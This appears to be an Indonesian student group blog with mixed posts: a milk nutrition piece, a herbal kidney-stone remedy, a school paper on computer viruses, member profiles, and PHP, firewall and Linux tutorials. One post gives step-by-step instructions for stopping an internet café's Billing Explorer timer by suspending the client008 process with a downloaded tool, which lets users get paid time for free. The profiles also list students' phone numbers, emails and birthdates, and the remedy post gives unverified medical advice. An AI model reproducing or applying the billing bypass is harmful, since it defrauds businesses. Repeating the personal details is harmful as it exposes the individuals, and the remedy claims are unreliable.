12.1E.13

2010-02-06T00:32:00.001-08:00

SUSU BUBUK VS SUSU UHT
.......
pada artikel ini kami akan memaparkan sebuah anggapan yang berkembang pada masyarakat, tentang mitos tentang susu bubuk itu lebih baik dari pada susu UHT(Ultra High Tempratur) untuk kebutuhan tubuh.
pengolahan susu cair segar menjadi susu bubuk (teknik sterilisasi) sangat berpengaruh terhadap mutu sensoris dan mutu gizinya terutama vitamin dan protein
karena ternyata selidik punya usut, kerusakan protein yang terjadi saat pengolahan susu bubuk bisa mencapai 30%.
wah sayang banget, padahal 30% itu kan jumlah yang lumayan besar.

jadi gimana supaya proteinnya tetap utuh yah?
ya, minum susu dari sapinya langsung. :)
tapi kayaknya sulit juga kan buat orang yang tinggalnya jauh dari peternakan sapi atau tidak dilewati abang tukang susu. harus mendaki gunung lewati lembah dulu supaya bisa mendapatkan susu segar. malangnya ...
tapi tenang, kerusakan tersebut bisa dikurangi dengan mengolah susu cair segar menjadi susu UHT (Ultra High Temperature)

memang bedanya sama susu bubuk apa?
jelas beda. dari bentuknya juga yang satu cair, yang satu lagi serbuk. -_-"

maksudnya, dalam pengolahannya memang beda?
susu bubuk (skim) diolah dengan mensterilkan susu dan proses pemanasan yang berlangsung pada waktu yang cukup lama. hal ini dapat merusak protein.
kerusakannya bisa berupa terbentuknya pigmen coklat (melanoidin) akibat reaksi Mallard (reaksi pencoklatan non enzimatik)
Nah, Reaksi pencoklatan tersebut menyebabkan menurunnya daya cerna protein

proses pemanasan juga dapat menyebabkan Rasenisasi asam amino yaitu perubahan konfigurasi dari bentuk asam amino -L (Levo) ke bentuk asam amino -D (Dekstro)
dan tubuh manusia biasanya hanya dapat menggunakan asam amino dalam bentuk -L
(note : protein adalah gabungan asam amino yang terhubung oleh ikatan peptida)

sementara susu UHT diolah dengan proses pemanasan dengan suhu yang sangat tinggi namun dalam waktu yang singkat. sehingga kerusakan protein akibat pemanasan dapat diminimalisir.

kenapa susu harus dipanaskan meski beresiko merusak protein?
didalam susu harus tidak mengandung bakteri apapun, dan untuk mensterilkannya dan mengolahnya dibutuhkan pemanasan. dengan cara yang tepat, kerusakan protein bisa diminimalkan. misal dengan proses UHT
hal ini pula yang mendasari kalimat di label susu "disajikan dingin lebih baik"
karena beberapa bakteri memang tidak bisa hidup di suhu yang dingin.
tapi mendinginkan susu nya jangan sampai beku yah .. namanya bukan minum susu lagi ;)

artinya susu UHT lebih baik dari susu bubuk?
wah belum tentu,, mungkin dalam hal kerusakan protein yang terkandung dalam susu, susu UHT kerusakannya lebih sedikit dibanding susu bubuk. namun sesuai kebutuhan masing masing orang. ada orang yang lebih memerlukan asupan lemak atau kalsium. bukan hanya protein.
bagaimanapun. susu tetep penting :)
penulis: dhedhelicous

2010-02-06T00:31:00.001-08:00

Menghentikan waktu di client billing explorer

tulisan ini ditujukan bagi para pengguna jasa internet atau yang biasa akrab ditelinga kita adalah warnet.
di sini saya ingin membagi ilmu saya kepada anda, untuk menghentikan waktu billing pada client anda.
tanpa menunggu berlama-lama, bacalah tulisan dibawah ini:

1. pastikan tempat penyedia jasa internet anda menggunakan software yang bernama Billing explorer.
2. periksa dahulu uang anda. pilihlah jenis login dengan nama PAKET, sesuai dengan uang yang anda punya. ingat anda harus memilih jenis login PAKET!!!, jangan memilih personal ataupun pre-paid. untuk lebih lanjut akan kami bahas di bagian pembahasan.
3. bukalah mozilla firefox atau opera.
4. sebelum memulainya, anda terlebih dahulu harus mendownload program di http://indowebster.com . lakukan pencarian dengan nama "jamilah" , selanjutnya download program tersebut yang kurang lebih sebesar 243kb.
5. bermainlah atau pergunakanlah waktu anda yang menggunakan sistem login paket seperti biasanya anda sedang berkunjung ke warnet pada umumnya. terserah anda mau browsing atau bermain game online.
6. ingat jangan sampai anda lupa dengan timer pada client anda!!!
7. setelah program tersebut telah anda download hingga selesai, jalankan program "jamilah.exe".
8. lihat di program tersebut. disana akan ditampilkan menu POP UP dengan nama "PID", "PARENT", dan "IMAGE NAME". disini yang hanya anda perlu perhatikan di list "IMAGE NAME".
9. cari list nama pada "IMAGE NAME", dengan nama "client008".
10. setelah anda menemukannya, anda hanya perlu mengklik kanan pada mouse di list nama "client008". akan ada beragam perintah yang akan muncul, tidak usah khawatir anda hanya diharuskan memilih perintah "Suspend".
11. sekarang lihat pada timer client anda. sungguh ajaib sekali!!!timer client anda berhenti.
12. close program "jamilah.exe" yang tadi anda gunakan.
13. lanjutkanlah petualangan anda sekarang tanpa batasan waktu sampai anda merasa cukup lelah untuk berpetualang di dunia internet.
14. agar situasi dapat terkendali setelah anda merasa cukup puas menggunakannya, kami sarankan anda untuk membuka program "jamilah.exe" kembali. cari kembali list nama "client008", klik kanan dan pilihlah "Resume".
15. selesai.
16. kami hanya meminta anda untuk tersenyum puas dan senang. seperti ini ^______^...hehehehehe

pembahasan
pada bagian ke:
1. untuk pembahasan kali ini kami hanya membahas pada billing explorer saja, karena software billing ini yang banyak dipergunakan di indonesia.
2. kami mengambil contoh: anda hanya mempunyai uang dengan nominal Rp.5000 dan hanya ada tersedia paket 1, maka ambillah paket 1 tersebut. pasti anda bertanya-tanya kenapa harus mengambil jenis login "PAKET"?
jawabannya: ini dikarenakan karena system pada server yang membatasi waktu penggunaan waktu yang seimbang. karena program ini masih tidak stabil, maka dianjurkan untuk mengambil jenis login tersebut.
4. kami tidak ada unsur sedikitpun untuk mengambil keuntungan pada lembaga profit mana pun. kami disini hanya mengambil link pada suatu website server, maka dari itu disini kami tidak menyediakan program tersebut.
6. penting buat anda. jangan sampai timer pada client anda habis, karena disinilah tujuan adanya tulisan ini. contoh: anda mengambil jenis login paket 1 dengan harga Rp.5000 dengan waktu hanya 2 jam. pergunakanlah program ini sebelum waktu anda habis, misalnya pada saat 1 jam 58 detik.
9. kami tidak menyarankan anda untuk berbuat jauh disana, kami hanya menyarankan pada list nama yang sudah kami sebut.
14. ini adalah cara aman anda. karena timer system server yang stabil apabila anda menggunakan jenis login paket, maka setelah anda melakukan cara nomor 14 tadi, secara otomatis timer pada system server akan mengirimkan datanya ke client anda. ototmatis pc client anda akan berhenti dan kembali ke screen tampilan billing anda. untuk itulah kami sangat menganjurkan anda untuk menggunakan jenis login "Paket". karena bila anda menggunakan "personal" atau "pre-paid", tanggung sendiri akibatnya.

Semoga bermanfaat... and jangan lupa share ke teman-teman anda yang lain ^<_^.terus kunjungi blogs ku ya.

Jamu Kencing Batu

2010-02-06T00:29:00.000-08:00

1. Jamu Kencing Batu

Ini bukan berarti kencing atau pipis kita keluarnya batu loh...keluarnya masih air kok, cuman bermasalah saja.
ini masalah pernah saya alami ketika saya waktu Sekolah dasar(duh malah jadi curhat). back to topic, disini saya ingin menjelaskan bagaimana cara membuat jamunya. begini nih caranya:

Bahan: 3 Genggam daun remujung, 5 lembar daun keci beling.

cara membuat dan memkainya: kedua macam bahan itu direbus,airnya diminum dua kali sehari, pagi, dan sore selama 10 hari.
sesudah 10 hari diganti dengan rebusan jagung muda, airnya diminum sekali dalam sehari.
selama penyakit itu belum sembuh, untuk mencegah agar penyakit tidak lebih parah, dilarang makan daging kambing dan durian
serta makanan yang serba pedas(pantangannya).

Semoga bermanfaat... and jangan lupa share ke teman-teman anda yang lain ^<_^.terus kunjungi blogs ku ya.

Makalah Virus

2009-12-26T07:13:00.000-08:00

Prakata

Puji Syukur kehadirat Alloh SWT kami panjatkan atas segala nikmat, karunia, hidayah, dan inayahnya. Sehingga laporan ini dapat selesai tepat pada waktunya.

Kami begitu bangga karena telah membuat sesuatu yang insyaalloh bermanfaat bagi semua kalangan. Karena kami bermotivasi untuk menjadi penulis yang terbaik. Meski dalam penulisan laporan ini terdapat banyak kata-kata yang tidak baik. Kami sebagai penulis memohon dengan sangat untuk di bukakan pintu maaf yang sebesar-besarnya,

Selama penyusunan laporan ini, kami banyak mendapat masukan, bantuan, dan motivasi dari berbagai pihak. Untuk itu kami ingin menyampaikan ungkapan terima kasih yang tulus kepada pihak-pihak tersebut, diantaranya adalah:

1 Alloh SWT yang selalu menunjukan keagungannya, sehingga kami mampu merampungkan laporan ini dengan lancar dan penuh hikmah insya alloh
2 Kepada tim kami, dan teman-teman kami. Karena laporan ini di buat oleh kami para pelajar siswa dan kembali lagi hanya untuk mereka. Tetapi kami berharap bukan hanya pelajar saja yang membaca laporan ini, melainkan juga untuk semua kalangan.
3 Dan untuk semua pihak yang tidak dapat kami sebutkan satu per satu. Kami sangat berterima kasih atas segala bantuan dan perhatian baik langsung maupun tidak langsung yang diberikan kepad kami selama proses penulisan laporan ini

Kami sadari kesempurnaan hanyalah milik Alloh SWT. Sehingga kami merasa butuh adanya saran dan kritik yang membangun dari para pembaca. Untuk itu, anda dapat menyampaikannya ke alamat http://mangasaya.blogspot.com

Cibinong, 31 Maret 2009

I. BAGIAN AWAL

1.1 Latar Belakang dan Masalah

Teknologi berkembang dengan pesat sesuai dengan kebutuhan zaman. Komputer
merupakan hasil dari teknologi yang mengalami perkembangan begitu pesat karena
hamper setiap orang menggunakan komputer sebagai alat Bantu dalam menyelesaikan segala urusan dalam kehidupannya. Seiring dengan berkembangnya komputer, virus yang merupakan suatu faktor pengganggu terbesar dalam dunia IT juga mengalami perkembangan yang cukup tinggi untuk mengimbangi perkembangan komputer di Dunia. Tetapi banyak orang yang tidak memahami virus komputer dengan benar, mereka hanya ketakutan ketika mendengar ada sebuah virus yang menginfeksi komputernya.

1.2 Ruang Lingkup Masalah

Masalah yang akan dibahas pada makalah ini meliputi pengenalan virus
komputer, cara kerja dan penanggulangannya pada komputer dengan system operasi DOS dan Windows 98/ME/NT/2000/XP

1.3 Tujuan Penulisan

Adapun tujuan dari penulisan laporan ini adalah untuk memberikan pengertian
tentang bermacam-macam virus komputer kepada para pengguna komputer dan
memberikan sebuah solusi untuk perlindungan komputer terhadap virus beserta cara penanggulangannya.

1.4 Manfaat Penulisan

Adapun manfaat dari penulisan laporan ini adalah untuk memberikan wawasan kepada para pengguna komputer mengenai virus sehingga dapat mengetahui langkah-langkah yang dapat diambil untuk mengatasi jikalau computer telah terinfeksi oleh virus.

II. Metode Penelitian

Penelitian ini menggunakan pendekatan survey kualitatif dengan cara melakukan wawancara dengan narasumber. Dan juga karena pengalaman pribadi penulis yang telah teruji bertahun-tahun dalam bidang computer sehingga dicapai benar-benar akurat dan dapat dipertanggungjawabkan. Adapun langkah-langkah kerjanya sebagai berikut.
1. Menentukan obyek penelitian
2. Melakukan wawancara dengan narasumber
3. Mengklasifikasi masalah
4. Merumuskan masalah
5. Memberika solusi/simpulan

III. BAGIAN ISI

1.4 Teori

Komputer adalah suatu alat yang seluruh kemampuannnya dikendalikan oleh
software, banyak sekali jenis-jenis program yang tersedia, bahkan virus adalah salah satu jenis software. Sayang sekali jenis software yang satu ini hampir seluruhnya berdampak dan ditujukan untuk hal-hal yang bersifat merugikan orang yang komputernya tertular virus komputer. Virus komputer memiliki berbagai kemampuan dasar diantaranya adalah kemampuan memanipulasi, kemampuan untuk memperbanyak diri, dan sebagainya.

Virus bekerja dengan memanfaatkan fungsi-fungsi operating system yang
tersembunyi dan juga memanfaatkan celah-celah yang ada dari program tertentu, selain itu membuat virus memerlukan pengetahuan tentang sistem komputer bekerja dan kemampuan pemrograman. Beberapa sumber pustaka mengelompokkan virus berdasarkan kriteria tertentu, biasanya untuk setiap jenis tersebut memiliki ciri khas tersendiri yang umum ditemui. Hal inilah yang perlu diperhatikan agar kita dapat melakukan pencegahan terhadap serangan virus-virus komputer.

VIRUS KOMPUTER

2.1 Sejarah Virus Komputer

Virus komputer pertama kalinya tercipta bersamaan dengan komputer. Pada tahun 1949, salah seorang pencipta komputer, John von Newman, yang menciptakan Electronic Discrete Variable Automatic Computer (EDVAC), memaparkan suatu makalahnya yang berjudul “Theory and Organization of Complicated Automata”. Dalam makalahnya dibahas kemungkinan program yang dapat menyebar dengan sendirinya. Perkembangan virus komputer selanjutnya terjadi di AT&T Bell Laboratory salah satu laboratorium komputer terbesar di dunia yang telah menghasilkan banyak hal, seperti bahasa C dan C++. Di laboratorium ini, sekitar tahun 1960-an, setiap waktu istirahat para peneliti membuat permainan dengan suatu program yang dapat memusnahkan, memperbaiki diri dan balik menyerang kedudukan lawan. Selain itu, program permainan dapat memperbanyak dirinya secara otomatis. Perang program ini disebut Core War, pemenangnya adalah pemilik program sisa yang terbanyak dalam selang waktu tertentu. Karena sadar akan bahaya program tersebut, terutama bila bocor keluar laboratorium tersebut, maka setiap selesai permainan, program tersebut selalu dimusnahkan.

Sekitar tahun 1970-an , perusahaan Xerox memperkenalkan suatu program yang digunakan untuk membantu kelancaran kerja. Struktur programnya menyerupai virus, namun tujuan program ini adalah untuk memanfaatkan waktu semaksimal mungkin dan pada waktu yang bersamaan dua tugas dapat dilakukan.

Pada tahun 1983 Fred Cohen seorang peneliti dari Ohio, memperlihatkan program buatannya yang mampu menyebar secara cepat pada sejumlah komputer. Ia juga memperkenalkan virus pertama yang diprogram dalam lingkungan Unix yang
dapat memberikan hak istimewa kepada setiap pengguna. Tahun berikutnya Cohen
menyerahkan desertasinya ‘Computer Viruses – Theory and Experiments’ yang menyebabkan virus berkembang dengan cepat.

Pada tahun 1986 di Freie, Universitas Berlin mendeteksi adanya aktifitas virus pada sebuah komputer besar.

Sementara virus berkembang, Indonesia juga mulai terkena wabah virus. Virus komputer ini pertama menyebar di Indonesia juga pada tahun 1988. Virus yang begitu menggemparkan seluruh pemakai komputer di Indonesia, saat itu, adalah virus ©Brain yang dikenal dengan nama virus Pakistan.

Tahun 1987, virus komputer generasi kedua yaitu Cascade yang merupakan virus
residen pertama muncul terenkripsi dalam file.

Pada tahun 1989 virus polimorf pertama ditemukan, vurus tersebut dikenal
dengan V2Px atau Washburn. Virus semacam ini dapat terus mengubah diri menjadi sebuah varian baru. Pada tahun berikutnya, virus DIR II menggunakan cara baru untuk menginfeksi program dengan menyerang entri-entri FAT.

Tahun 1991 diadakan sebuah lomba dan acara pembuatan program virus akibatnya jumlah virus baru yang ditemukan semakin banyak. Dan sampai saat ini pun virus-virus baru terus bermunculan dengan segala jenis variasinya.

2.2 Cara Kerja Virus Komputer

Virus secara umum memiliki cara kerja yang relatif sama yaitu:

1. Kemampuan untuk mendapatkan sebuah informasi
2. Kemampuan untuk memeriksa suatu file
3. Kemampuan untuk menggandakan dan menularkan diri
4. Kemampuan dalam melakukan manipulasi
5. Kemampuan untuk menyembunyikan diri.

Virus dalam mendapatkan sebuah informasi dari daftar file yang ada dalam suatu directory. Lalu virus tersebut mencari file-file yang bisa ditulari, saat pemakai membuka program atau file yang sudah terinfeksi oleh virus tersebut maka data yang dibutuhkan oleh virus tercipta. Virus biasanya melakukan pengumpulan data dan menyimpannya di RAM, sehingga apabila komputer dimatikan data tersebut akan hilang. Dan data tersebut akan tercipta kembali saat komputer dihidupkan, biasanya data-data tersebut disimpan sebagai hidden file oleh virus.
Virus sebelum melakukan penularan ia akan memeriksa file yang akan ditumpanginya. Hal ini tidak jauh berbeda dengan perilaku virus pada tubuh manusia.

Secara umum virus akan memberikan suatu tanda pada file atau program yang telah terinfeksi sehingga mudah dikenali oleh virus tersebut. Seperti memberikan suatu byte atau tanggal pembuatan yang unik bagi setiap file yang telah terinfeksi.
Proses penggandaan diri yang dilakukan oleh virus setelah memberikan suatu tanda pada file dilanjutkan dengan menuliskan kode objek virus pada file yang sudah diperiksa. Proses penggandaan secara umum dilakukan dengan cara menghapus atau mengubah file inang lalu terciptalah suatu file yang berisi program virus dengan menggunakan nama asli atau dengan cara menumpang pada file yang sudah terinfeksi. Memanipulasi suatu file yang sudah terinfeksi dapat membahayakan computer yang akhirnya dapat merusak suatu komputer. Seperti contoh virus CIH pada tahun 1998 yang menyebabkan kerusakan yang hanya dapat diatasi dengan mengganti / memperbaiki komponen hardware. Kegiatan memanipulasi ini pada umumnya memiliki tujuan untuk mempopulerkan nama sipembuat virus. Kemampuan lain yang dimiliki oleh sebuah virus adalah kemampuan untuk menyembunyikan diri. Dengan cara ini virus disimpan dalam bentuk kode mesin dan digabung dengan program lain, meletakkan program pada Boot Record atau track pada sebuah disk. Program dibuat sependek mungkin agar file yang sudah terinfeksi tidak berubah ukurannya secara signifikan.

Seperti pada umumnya virus dalam dunia kedokteran, virus komputer juga memiliki siklus hidup yang secara umum dibagi menjadi 4 tahap, yaitu

1. fase istirahat umumnya virus menentukan tanggal atau waktu untuk
mengaktifkan virus pada komputer
2. fase penyebaran, pada umumnya virus melakukan replikasi diri dengan
menggandakan dirinya dalam suatu program ke sebuah tempat di media
penyimpanan (hardisk, RAM, Disket, dsb.)
3. fase aktif, pada fase ini virus akan mengaktifkan diri
4. fase eksekusi, pada fase ini virus yang telah aktif mulai melakukan kegiatannya.

2.3 Jenis Virus Komputer

2.3.1 Virus Makro

Virus yang dibuat dengan bahasa pemrograman yang terdapat pada suatu aplikasi. Virus tersebut akan berjalan pada aplikasi pembentuknya dengan baik. Sebagai contoh virus makro yang dibuat pada aplikasi Word, maka virus tersebut akan berjalan pada aplikasi microsoft word. Pada umumnya virus akan memodifikasi file NORMAL.DOT yang merupakan standar awal pengetikan apabila menggunakan Microsoft Word. Tetapi ada juga yang tidak memodifikasi file DOT tetapi ia membuat file DOT yang baru.

Contoh virus makro:

•virus Melissa yang media penyebarannya melalui internet
•varian W97M menginfeksi NORMAL.DOT dan menginfeksi dokumen apabila
dibuka

2.3.2 Virus Boot Sector

Virus ini bekerja dengan cara menggandakan dirinya, memindahkan atau mengganti boot sektor asli dengan program booting virus. Dengan cara ini virus akan tersimpan ke dalam memori sehingga virus akan mengendalikan hardware dan akan menyebar ke drive yang terhubung pada komputer.

Contoh virus:

•varian virus wyx, wyx.C(B) menginfeksi boot record dan floopy dengan panjang
520 bytes memiliki karakteristik memory resident dan terenkripsi
•varian V-sign, virus ini menginfeksi master boot record dengan panjang 520 bytes

2.3.3 Stealth Virus

Virus yang menguasai tabel interrupt pada DOS yang sering dikenal dengan “Interrupt interceptor”. Virus ini mengendalikan instruksi level DOS.

Contoh virus:

•vmem(s), virus ini menginfeksi file *.EXE, *.SYS, dan *.COM, memiliki panjang 3275 bytes dengan karakteristik menetap di memori dengan ukuran tersembunyi dan di enkripsi
•yankee.XPEH.4928, menginfeksi file *.COM dan *.EXE dengan panjang 4298 bytes memiliki karakteristik menetap di memori, ukurannya tersembunyi dan memiliki pemicu.

2.3.4 Polymorphic Virus

Virus yang hampir mirip dengan virus influenza atau HIV ini mempunyai kemampuan untuk mengecoh antivirus dengan merubah strukturnya setiap kali menginfeksi suatu file.

Contoh virus:

Necropolis A/B, virus ini menginfeksi file *.EXE, *.COM, dengan ukuran 1963 bytes memiliki karakteristik menetap di memori, ukuran dan virus tersembunyi, terenkripsi dan dapat berubah strukturnya

2.3.5 Virus File

Virus ini bekerja dengan cara menginfeksi secara langsung pada sistem operasi, baik itu file *.EXE atau *.COM. hasilnya ditandai dengan berubahnya ukuran file yang diserangnya.

2.3.6 Multi Partition Virus

Virus ini merupakan gabungan dari virus boot sector dengan virus file. Dalam melakukan pekerjaannya virus ini menginfeksi file *.EXE atau *.COM dan juga menginfeksi boot sector.

MENGATASI VIRUS KOMPUTER

3.1 Menggunakan Antivirus

Penggunaan antivirus sangat membantu dalam mengatasi virus komputer. Pemakaiannya pun sangat mudah, sehingga seorang amatir pun dapat dengan mudah menggunakannya.. Antivirus yang tersedia saat inipun beragam jenis dan modelnya mulai dari software gratis sampai yang komersil. Gunakanlah antivirus yang dapat melakukan proses scanning di semua media penyimpanan juga jaringan apabila komputer yang digunakan terhubung dengan jaringan.
Secara umum langkah-langkah yang harus dilakukan apabila kita mengandalkan
sebuah antivirus yaitu:

1.selalu memperbaharui antivirus anda minimal setiap akhir bulan
2.menyalakan auto-protect pada komputer agar antivirus selalu melindungi komputer anda
3.jika komputer terhubung dengan jaringan maka pakailah antivirus anda dengan
firewall, anti spam
4.lakukan scanning komputer setiap anda melakukan pembaharuan virus definition.

3.2 Mengubah Atribut File

Sebenarnya cara ini kurang menjamin sebab sudah ada virus yang bias mengubah attribut file. Tetapi cara ini lebih baik dilakukan dari pada tidak sama sekali.

Parameter untuk merubah attribut file :
ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H]
[[drive:][path]filename] [/S]

Keterangan :

+ : menambahkan attribut
- : menghilangkan attribut
R : attribut hanya baca (Read only)
A : attribut file archive
S : attribut file aystem
H : attribut file tersembunyi
Path : nama cabang (sub-directory)
Filename: nama file yang akan diproses

/S : melakukan proses diseluruh directory dan sub-directory

3.3 Mengatasi Secara Manual

Untuk mengatasi virus secara manual, bukan berarti kita tidak menggunakan antivirus dalam mengatasinya. Secara manual kita melakukan sebuah upaya proteksi dengan melakukan berbagai pencegahan. Berikut ini langkah-langkah secara manual dalam mengatasi virus, yaitu:

•Dalam mengatasi virus makro, contohnya pada microsoft word. Ubah semua document template terutama file NORMAL.DOT menjadi read-only. Dapat juga kita lakukan dengan menghapus file NORMAL.DOT. selanjutnya kita dapat merubah dokumen tersebut dengan membuka Wordpad dan menyimpannya dalam RTF (Rich Text Format).
•Hindari penggunaan disket-disket yang tidak bisa dipercaya sumbernya. Usahakan untuk tidak menggunakan disket-disket yang sudah lama sebab mungkin saja mengandung virus, dan juga jangan sembarangan menggunakan disket dari orang lain yang tidak terjamin kebersihan disket dari virus.
•Melakukan Write Protect. Dengan selalu mengunci Write Protect disket maka, kita dapat lebih meminimalkan kemungkinan penularan virus sebab virus tidak bisa menulis pada disket yang telah di-Write Protect.
•Membuat sub-directory untuk program-program baru. Hal ini bisa melokalisir beberapa virus apabila program kita terjangkit virus.
•Periksa secara rutin registry Windows di bagian \HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ Current Version\ Run, apakah menemukan sesuatu yang mencurigakan jika menemukan itu hapus bagian yang mencurigakan itu.
•Set atribut file WINSOCK.DLL menjadi read-only, untuk memperkecil kemungkinan virus untuk memanipulasinya.
•Catat tanggal, ukuran, dari file yang mencurigakan sebab akan berguna suatu saat apabila benar file tersebut mengandung virus.

IV. SIMPULAN

Berdasarkan pembahasan yang telah dilakukan, maka dapat diambil beberapa kesimpulan sebagai berikut :

1. Virus komputer adalah bagian dari software komputer, hanya saja berbeda fungsinya yaitu mengganggu bahkan merusak sistim komputer.
2. Tidak semua virus komputer memiliki dampak yang fatal, cukup banyak virus yang hanya bersifat jinak, tetapi walau bagaimanapun juga harus dihilangkan.
3. Ketakutan yang berlebihan dengan virus komputer disebabkan oleh kebutaan akan virus komputer itu sendiri, ketakutan itu dapat dihilangkan dengan mengenal virus komputer.
4. Dengan semakin mengenal sistem kerja suatu komputer, terutama sistem operasi serta mengetahui virus, maka dengan sendirinya pengetahuan kita untuk mempertahankan komputer dari serangan virus semakin baik sekaligus mendapatkan konsep untuk menangani virus komputer.
5. Mencegah komputer tertular virus jauh lebih baik dari pada terkena virus baru kemudian kita memperbaikinya, sebab lebih menyulitkan dan juga tidak terjamin apakah akan berhasil sepenuhnya. Penulis menerima saran, kritik, dan masukan mengenai tulisan ini; silahkan mengirim saran dan komentar anda ke http://mangasaya.blogspot.com

V. Daftar pustaka

• Azmi Fauzan, All About Virus, http://www.azmifauzan.web.id
• http://www.ilmukomputer.com
• http://id.wikipedia.org

Profil of Yuhendri

2009-11-12T01:19:00.000-08:00

Name: Yuhendri
NIM: 18095490
TTL: bogor, 15 oktober 1991
contract person: 085723521380
Email or Facebook: Name: ndry74@yahoo.com or

Profil of Choirul Huda

2009-11-12T01:14:00.000-08:00

Name: Choirul Huda
NIM: 18095550
TTL: Jepara, 7 Juny 1990
contract person: 0856973755
Email or Facebook: ap_peunk@yahoo.co.id or

Profil of Arbi Wibawa

2009-11-12T01:12:00.000-08:00

Name: Arbi Wibawa
NIM: 18095559
TTL: bogor, 5 July 1990
contract person: 085719903880
Email or Facebook: arbi_wibawa@yahoo.com or

Profil of Ervan W

2009-11-12T01:08:00.000-08:00

Name: Ervan W
NIM: 18095499
TTL: Lampung, 31 Mei 1991
contract person: 08988502450
Email or Facebook: ervan_alesana@yahoo.co.id or

Profil of Satya Adhi

2009-11-12T01:03:00.000-08:00

Name: Satya Adhi Pratama
NIM: 18095491
TTL: Bogor, 4 November 1991
Contact Person: 085715202324
Email Or Facebook: vengence_gates83@yahoo.com or

Profil of Fajar Pratama

2009-11-12T00:58:00.000-08:00

Name: Depie Fajar Pratama
NIM: 18095492
TTL: Bogor, 14 July 1991
Contact Person: 0856xxxxxx
Email or Facebook: Devgates@rocketmail.com or

Artikel IT of Depi Fajar Pratama

2009-11-12T00:50:00.000-08:00

Pada tutorial kali ini, kita akan mencoba melakukan operasi - operasi dasar pada PHP MySQL.
1. Membuat koneksi
$hostmysql = “localhost”;
$username = “mysqlusername”;
$password = “mysqlpassword”;
$database = “namadatabase”;

$conn = mysql_connect(”$hostmysql”,”$username”,”$password”);
if (!$conn) die (”Koneksi gagal”);
mysql_select_db($database,$conn) or die (”Database tidak ditemukan”); >

Penjelasan Script:
a. mysql_connect
digunakan untuk membuat koneksi dari PHP ke server MySQL. Data mengenai hostname, mysql username, dan password yang digunakan telah diwakilkan oleh variabel $hostmysql, $username, $password. Penulisannya akan sama dengan:
mysql_connect(”localhost”,”username”,”password”);
b. mysql_select_db
untuk memilih database yang akan digunakan.
c. if (!$conn) die (”Koneksi gagal”);
jika koneksi gagal dibuat (!$conn), maka akan muncul pesan kesalahan

Setiap operasi PHP yang berhubungan dengan MySQL, akan membutuhkan sintaks diatas. agar lebih mudah, lebih baik disimpan terlebih dahulu dengan nama konfig.php. Jika sintaks tersebut dibutuhkan lagi, maka kita melakukan include terhadap file konfig.php tersebut.

2. Membuat tabel pada MySQL
include (”konfig.php”);
mysql_query(”CREATE TABLE user (
namadpnVARCHAR(20),
namablkg VARCHAR(20),
negara VARCHAR(20))”); ?>

Penjelasan script:
1. include (”konfig.php”);
perintah include digunakan untuk mengikut sertakan sebuah file (pada contoh diatas adalah file konfig.php).
2. mysql_query
format umum dari perintah ini adalah mysql_query(string dari query).
mysql_query akan sering dijumpai pada artikel kali ini.

3. Memasukkan data pada tabel
include (”konfig.php”);
$insert = “INSERT INTO users (namadpn,namablkg,negara)
VALUES (’Saya’,'Sendiri’,'Indonesia’)”;
mysql_query($insert) or die (”tidak dapat memasukkan data ke tabel”);?>

4 . Menampilkan data dari tabel
include (”konfig.php”);
$query = “SELECT * FROM user”;
$result = mysql_query($query);
$numrows = mysql_num_rows($result);
while($row = mysql_fetch_array($result)){
echo “Jumlah data: $numrows
”;
echo “Nama Depan: $row[namadpn]
”;
echo “Nama Belakang: $row[namablkg]
”;
echo “Negara: $row[negara]“;
} ?>

Penjelasan script:
1. mysql_num_rows
digunakan untuk menghitung jumlah baris yang didapat dari hasil eksekusi query (mysql_query).
2. while ( ) {
}
digunakan untuk melakukan perulangan selama data yang yang diinginkan masih ada. (dalam contoh diatas: akan menampilkan semua isi dari table).
3. mysql_fetch_array
menampilkan data dari tabel dalam bentuk array

Untuk penggunaan lainnya (hapus, update, dsb) yang berubah hanya string query-nya saja.

Tulisan Anggota - 18095492

2009-11-12T00:46:00.000-08:00

Firewall merupakan suatu cara atau mekanisme yang diterapkan baik terhadap hardware, software ataupun
sistem itu sendiri dengan tujuan untuk melindungi, baik dengan menyaring, membatasi atau bahkan
menolak suatu atau semua hubungan/kegiatan suatu segmen pada jaringan pribadi dengan jaringan luar
yang bukan merupakan ruang lingkupnya. Segmen tersebut dapat merupakan sebuah workstation, server,
router, atau local area network (LAN) anda.
konfigurasi sederhananya:
pc (jaringan local) == firewall == internet (jaringan lain)
Firewall untuk komputer, pertama kali dilakukan dengan menggunakan prinsip “non-routing” pada sebuah
Unix host yang menggunakan 2 buah network interface card, network interface card yang pertama di
hubungkan ke internet (jaringan lain) sedangkan yang lainnya dihubungkan ke pc (jaringan lokal)(dengan
catatan tidak terjadi “route” antara kedua network interface card di pc ini). Untuk dapat terkoneksi dengan
Internet(jaringan lain) maka harus memasuki server firewall (bisa secara remote, atau langsung), kemudian menggunakan resource yang ada pada komputer ini untuk berhubungan dengan Internet(jaringan lain),
apabila perlu untuk menyimpan file/data maka dapat menaruhnya sementara di pc firewall anda, kemudian
mengkopikannya ke pc(jaringan lokal). Sehingga internet(jaringan luar) tidak dapat berhubungan langsung
dengan pc(jaringan lokal) .
Dikarenakan masih terlalu banyak kekurangan dari metoda ini, sehingga dikembangkan berbagai bentuk,
konfigurasi dan jenis firewall dengan berbagai policy(aturan) didalamnya.
Firewall secara umum di peruntukkan untuk melayani :
1. Mesin/Komputer
Setiap mesin/komputer yang terhubung langsung ke jaringan luar atau internet dan menginginkan
semua yang terdapat pada komputernya terlindungi.
2. Jaringan
Jaringan komputer yang terdiri lebih dari satu buah komputer dan berbagai jenis topologi jaringan
yang digunakan, baik yang di miliki oleh perusahaan, organisasi dsb.

Artikel IT of Choirul Huda

2009-11-12T00:41:00.000-08:00

Konsep Pembuatan Proses
Konsep pembuatan proses pada sistem operasi linux :
§ Setiap proses diberi nomor khusus sebagai identifikasi yang disebut process identification
atau PID berupa angka integer unik.
§ Jika proses selesai (Terminated) maka semua sumber daya yang digunakan termasuk PID
dibebaskan kembali.
§ Proses dibuat menggunakan system call fork() yang sering disebut forking proses
§ System call fork() mengkopi proses pemanggil sehingga akan terdapat 2 proses yaitu :
1. Proses pemanggil disebut PARENT
2. Proses hasil kopian disebut CHILD
§ Proses CHILD identik dengan proses PARENT-nya tetapi memiliki PID yang berbeda.
§ Setelah proses baru (child) berhasil dibuat eksekusi dilanjutkan secara normal di masing –
masing proses pada baris setelah pemanggilan system call fork().
§ Proses pemanggil (PARENT) dapat melakukan forking proses lebih dari satu kali sehingga
memungkinkan terdapat banyak proses CHILD yang dieksekusi.
